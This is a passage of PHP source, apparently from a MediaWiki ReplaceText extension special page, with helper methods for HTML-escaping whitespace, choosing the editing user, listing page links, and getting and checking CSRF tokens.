return $this->slotRoleStore->getName( $role_id );
}
private function convertWhiteSpaceToHTML( string $message ): string {
$msg = htmlspecialchars( $message );
$msg = preg_replace( '/^ /m', "\u{00A0} ", $msg );
$msg = preg_replace( '/ $/m', " \u{00A0}", $msg );
$msg = str_replace( ' ', "\u{00A0} ", $msg );
# $msg = str_replace( "\n", '<br />', $msg );
return $msg;
}
private function getReplaceTextUser(): User {
$replaceTextUser = $this->getConfig()->get( 'ReplaceTextUser' );
if ( $replaceTextUser !== null ) {
$user = $this->userFactory->newFromName( $replaceTextUser );
if ( $user ) {
return $user;
}
}
return $this->getUser();
}
/**
* @inheritDoc
*/
protected function getGroupName(): string {
return 'wiki';
}
private function displayTitles( array $titlesToDisplay ): string {
$text = "<ul>\n";
foreach ( $titlesToDisplay as $title ) {
$text .= "<li>" . $this->linkRenderer->makeLink( $title ) . "</li>\n";
}
$text .= "</ul>\n";
return $text;
}
private function getToken(): string {
return $this->getContext()->getCsrfTokenSet()->getToken();
}
private function checkToken(): bool {
return $this->getContext()->getCsrfTokenSet()->matchTokenField( 'token' );
}
}